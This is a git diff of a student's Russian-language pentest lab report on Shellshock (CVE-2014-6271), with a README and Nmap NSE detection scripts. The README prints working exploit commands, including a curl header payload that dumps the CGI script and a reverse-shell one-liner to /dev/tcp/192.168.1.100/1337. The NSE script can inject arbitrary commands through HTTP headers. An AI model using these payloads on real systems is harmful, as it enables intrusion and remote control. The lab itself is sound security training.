refactored. 01-02-03 done

02-pentest/02-vuln/02-openvas/01-shellshock/123

@@ -0,0 +1,20 @@
+/*local http = require "http"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local output = stdnse.output_table()
+
+local function check(host, port, url)
+  local payload = "() { :; }; echo; echo VULN"
+  local response = http.get(host, port, url,  { ["header"] = { ["User-Agent"] = payload } })
+  output = response
+  return output
+  return response and response.body and response.body:find("VULN")
+end
+
+portrule = shortport.http
+
+action = function(host, port)
+  local url = stdnse.get_script_args("url")
+  local vulnerable = check(host, port, url)
+  return string.format("Host %s:%s/%s is %s vulnerable to Shellshock", host.ip, port.number, url, vulnerable and "" or " NOT", url)
+end */

02-pentest/02-vuln/02-openvas/01-shellshock/README.md

@@ -0,0 +1,53 @@
+# Модуль 2. Сканирование на уязвимости. Сетевые сканирования
+## Практическое задание №2
+### Задание №1. Детектирование Shellshock с помощью Nmap
+
+1. Скачаем [репозиторий](https://github.com/Zenithar/docker-shellshockable) и соберем Docker-контейнер
+
+![alt text](image.png)
+
+2. Запустим контейнер командой `docker run -d -p 80:80 --name shellshock marker689/shellshockable`
+
+3. Посмотрим вывод CGI-скрипта.
+
+```
+curl http://localhost/cgi-bin/shockme.cgi
+```
+![alt text](image-1.png)
+
+Вывод соответствует коду в CGI-скрипте:
+
+```bash
+#!/usr/local/bin/bash
+echo "Content-type: text/html"
+echo ""
+echo "https://shellshocker.net/"
+```
+
+4. Выполним эксплуатацию уязвимости Shellshock
+
+`curl -A "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /usr/lib/cgi-bin/shockme.cgi" http://localhost/cgi-bin/shockme.cgi`
+
+![alt text](image-2.png)
+
+```bash
+#!/usr/local/bin/bash
+echo "Content-type: text/html"
+echo ""
+echo "https://shellshocker.net/"
+```
+
+Мы раскрыли содержимое скрипта, также можно сделать ревер-шелл.
+
+5. `curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.100/1337 0>&1'" http://localhost/cgi-bin/shockme.cgi`
+
+![alt text](image-3.png)
+
+6. Приступим к написанию 
+
+
+
+# Итог лабораторной работы
+На этом лабораторная работа окончена, файл отчет в формате pdf во вложении.
+
+Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.

02-pentest/02-vuln/02-openvas/01-shellshock/shellshock.nse

@@ -0,0 +1,75 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+    Check shellshocked
+]]
+
+
+portrule = shortport.http
+
+function generate_http_req(host, port, uri, custom_header, cmd)
+  local rnd = nil
+  --Set custom or probe with random string as cmd
+  if not cmd then
+    local rnd1 = rand.random_alpha(7)
+    local rnd2 = rand.random_alpha(7)
+    rnd = rnd1 .. rnd2
+    cmd = ("echo; echo -n %s; echo %s"):format(rnd1, rnd2)
+  end
+  cmd = "() { :;}; " .. cmd
+  -- Plant the payload in the HTTP headers
+  local options = {header={}}
+  options["no_cache"] = true
+  if custom_header == nil then
+    stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd)
+    options["header"]["User-Agent"] = cmd
+    options["header"]["Referer"] = cmd
+    options["header"]["Cookie"] = cmd
+  else
+    stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header)
+    options["header"][custom_header] = cmd
+  end
+  local req = http.get(host, port, uri, options)
+
+  return req, rnd
+end
+
+action = function(host, port)
+  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+  local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil
+  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+  local req, rnd = generate_http_req(host, port, uri, http_header, nil)
+  if req.status == 200 and req.body:find(rnd, 1, true) then
+    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+    local vuln = {
+      title = 'HTTP Shellshock vulnerability',
+      state = vulns.STATE.NOT_VULN,
+      description = [[
+This web application might be affected by the vulnerability known
+as Shellshock. It seems the server is executing commands injected
+via malicious HTTP headers.
+      ]],
+      IDS = {CVE = 'CVE-2014-6271'},
+      references = {
+        'http://www.openwall.com/lists/oss-security/2014/09/24/10',
+        'http://seclists.org/oss-sec/2014/q3/685',
+        'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169'
+      },
+      dates = {
+        disclosure = {year = '2014', month = '09', day = '24'},
+      },
+    }
+    stdnse.debug1("Random pattern '%s' was found in page. Host seems vulnerable.", rnd)
+    vuln.state = vulns.STATE.EXPLOIT
+    if cmd ~= nil then
+       req = generate_http_req(host, port, uri, http_header, cmd)
+       vuln.exploit_results = req.body
+    end
+    return vuln_report:make_output(vuln)
+  end
+end